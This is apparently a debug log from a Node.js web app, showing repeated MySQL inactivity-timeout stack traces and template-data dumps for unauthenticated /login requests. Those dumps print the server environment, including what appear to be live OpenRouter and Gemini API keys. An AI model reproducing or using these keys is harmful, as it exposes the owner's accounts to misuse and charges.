    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 21:14:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 02:14:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 02:14:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 05:37:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 05:37:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 08:31:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 08:31:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 12:28:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 12:28:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 16:47:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 16:47:52' as DATETIME)"
}
2026-04-01T16:49:20.982Z server-connect:router Serving templateView /login
2026-04-01T16:49:20.983Z server-connect:app Executing action step identify
2026-04-01T16:49:20.983Z server-connect:app options: { provider: 'security' }
2026-04-01T16:49:20.984Z server-connect:auth No login cookie found
2026-04-01T16:49:20.984Z server-connect:output identity: false
2026-04-01T16:49:20.984Z server-connect:router Render template layouts/authentication
2026-04-01T16:49:20.984Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5384.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'accept-encoding': 'gzip',
    'accept-language': 'en',
    'x-forwarded-for': '15.235.182.176',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-02T16:49:20.981Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '15.235.182.176',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5384.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT_LANGUAGE: 'en',
    'HTTP_X_FORWARDED-FOR': '15.235.182.176',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 18:43:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 18:43:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-01 20:17:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-01 20:17:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 00:08:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 00:08:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 01:36:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 01:36:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 03:59:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 03:59:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-02 07:53:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-02 07:53:57' as DATETIME)"
}
2026-04-02T10:42:27.100Z server-connect:router Serving templateView /
2026-04-02T10:42:27.102Z server-connect:router Serving templateView /
2026-04-02T10:42:27.103Z server-connect:app Executing action step identify
2026-04-02T10:42:27.103Z server-connect:app options: { provider: 'security' }
2026-04-02T10:42:27.103Z server-connect:auth No login cookie found
2026-04-02T10:42:27.103Z server-connect:output identity: false
2026-04-02T10:42:27.103Z server-connect:app Executing action step restrict
2026-04-02T10:42:27.103Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T10:42:27.103Z server-connect:output restrict: undefined
2026-04-02T10:42:27.104Z server-connect:app Executing action step identify
2026-04-02T10:42:27.104Z server-connect:app options: { provider: 'security' }
2026-04-02T10:42:27.104Z server-connect:auth No login cookie found
2026-04-02T10:42:27.104Z server-connect:output identity: false
2026-04-02T10:42:27.104Z server-connect:app Executing action step restrict
2026-04-02T10:42:27.104Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-02T10:42:27.104Z server-connect:output restrict: undefined
2026-04-02T10:42:27.198Z server-connect:router Serving templateView /login
2026-04-02T10:42:27.199Z server-connect:router Serving templateView /login
2026-04-02T10:42:27.200Z server-connect:app Executing action step identify
2026-04-02T10:42:27.200Z server-connect:app options: { provider: 'security' }
2026-04-02T10:42:27.200Z server-connect:auth No login cookie found
2026-04-02T10:42:27.200Z server-connect:output identity: false
2026-04-02T10:42:27.200Z server-connect:router Render template layouts/authentication
2026-04-02T10:42:27.200Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '195.178.110.64',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T10:42:27.198Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '195.178.110.64',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '195.178.110.64',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-02T10:42:27.202Z server-connect:app Executing action step identify
2026-04-02T10:42:27.202Z server-connect:app options: { provider: 'security' }
2026-04-02T10:42:27.202Z server-connect:auth No login cookie found
2026-04-02T10:42:27.202Z server-connect:output identity: false
2026-04-02T10:42:27.202Z server-connect:router Render template layouts/authentication
2026-04-02T10:42:27.203Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '195.178.110.64',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-03T10:42:27.199Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '195.178.110.64',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
